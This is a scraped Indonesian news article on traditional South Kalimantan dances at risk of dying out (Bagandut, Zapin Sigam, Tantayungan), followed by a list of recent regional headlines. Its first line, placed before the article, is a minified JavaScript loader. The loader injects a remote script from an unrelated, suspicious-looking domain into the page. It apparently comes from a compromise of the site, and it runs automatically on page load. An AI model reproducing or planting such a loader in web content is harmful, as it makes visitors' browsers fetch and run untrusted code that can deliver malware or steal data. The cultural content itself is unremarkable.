(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Budaya

Perlunya “Infus” bagi Kesenian Tradisional Kalsel yang Terancam Punah


Pun pagelaran dan festival kebudayaan kedepannya harus terus dilakukan untuk bisa melestarikan seni budaya yang hampir punah tersebut. Termasuk yang tak kalah penting adalah pendataan terkait berbagai kesenian tradisional.

Berikut adalah rangkuman kesenian yang terancam hampir punah menurut Dinas Pendidikan dan Kebudayaan Kalsel:

  • Bagandut Asal Tapin

Tari Bagandut Tapin Foto: istimewa

Bagandut adalah jenis tari tradisional berpasangan. Di masa lampau, merupakan tari yang menonjolkan erotisme penarinya. Ini mirip dengan tari Tayub di Jawa dan Ronggeng di Sumatera. Gandut sendirinya artinya sama dengan tledek dalam khazanah kesenian Jawa.

Tari Gandut ini pada mulanya hanya dimainkan di lingkungan istana kerajaan. Baru pada kurang lebih tahun 1860-an, tari ini berkembang ke pelosok kerajaan dan menjadi jenis kesenian yang disukai oleh golongan rakyat biasa. Tari ini dimainkan setiap ada keramaian, misalnya acara malam perkimpoian, hajad, pengumpulan dana kampung dan sebagainya.

Gandut merupakan profesi yang unik dalam masyarakat dan tidak sembarangan wanita mampu menjadi Gandut. Selain syarat harus cantik dan pandai menari, seorang Gandut juga wajib menguasai seni bela diri dan mantera-mantera tertentu. Ilmu tambahan ini sangat penting untuk melindungi dirinya sendiri dari tangan-tangan usil penonton yang tidak sedikit ingin memikatnya memakai ilmu hitam. Dahulu banyak Gandut yang diperistri oleh para bangsawan dan pejabat pemerintahan, disamping paras cantik mereka juga diyakini memiliki ilmu pemikat hati penonton yang dikehendakinya. Nyai Ratu Komalasari, permaisuri Sultan Adam adalah bekas seorang penari Gandut yang terkenal.

 Pada masa kejayaannya, arena tari Gandut sering pula menjadi arena persaingan adu gengsi para lelaki yang ikut menari. Persaingan ini bisa dilihat melalui cara para lelaki tersebut mempertontonkan keahlian menari dan besarnya jumlah uang yang diserahkan kepada para Gandut.

Tari Gandut sebagai hiburan terus berkembang di wilayah pertanian di seluruh Kerajaan Banjar, dengan pusatnya di daerah Pandahan, Kecamatan Tapin Tengah, Kabupaten Tapin.

  • Zapin Sigam asal Kotabaru

tari Zapin Sigam asal Kotabaru Foto: istimewa

Merupakan tari yang berasal dari Desa Sigam, Kotabaru. Desa Sigam merupakan daerah yang mayoritas penduduknya berprofesi sebagai pengrajin bunga atau dalam bahasa lokal dikenal dengan sebutan mencucuk kambang. Sehingga Desa Sigam dikenal sebagai pusat pengrajin Kembang Barenteng di Kotabaru.

Zapin Sigam ditarikan secara berpasangan laki-laki dan perempuan. Seperti Tari Zapin pada umumnya, Zapin Sigam menceritakan tentang pergaulan muda mudi di daerah Kalimantan Selatan yang masih dalam batas kesopanan, adat dan norma-norma agama.

Zapin Sigam ialah tarian yang diwarisi dari pada nenek moyang masyarakat Banjar dari kerajaan Sigam atau kerajaan Pulau Laut yang muncul sejak 1850an di wilayah Kalimantan Selatan. Pada zaman kerajaan Sigam, Zapin Sigam atau nama sebenarnya Japin Sigam merupakan sebuah tarian yang ditarikan rakyat sebagai menghormati pemerintah.

Tarian ini biasanya ditarikan oleh enam orang (tiga laki-laki dan tiga wanita) menceritakan mengenai sejarah dan susur galur kerajaan Sigam pada ketika itu. Tarian ini menggunakan lagu Japin Sigam yang diiringi oleh musik Panting yang dimainkan oleh enam orang yang terdiri dari pemain alat musik panting (sejenis gitar), babun (sejenis rebana), ketipak (sejenis gendang), gong, biola dan seruling.

  • Tari Tantayungan Masyarakat Banjar

Tari Tantayungan Foto: istimewa

Tari Tantayungan merupakan tarian tradisi masyarakat Banjar. Tarian ini mempresentasikan kisah dalam tokoh pewayangan. Sehingga tarian ini terkesan hidup lantaran diselingi dengan dialog kelompok penari. Tarian ini sendiri diiringi dengan musik karawitan melalui instrument alat musik tradisional Kalimantan Selatan antara lain babun, gong, sarunai, dan kurung-kurung. Paduan karawitan ini sangat harmoni dengan kelompok tari yang diperankan. (rendy berbagai sumber)

Reporter: Rendy
Editor: Chell

Page: 1 2

Desy Arfianty

Recent Posts

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

2 hari ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

2 hari ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

3 hari ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

3 hari ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

3 hari ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

3 hari ago

This website uses cookies.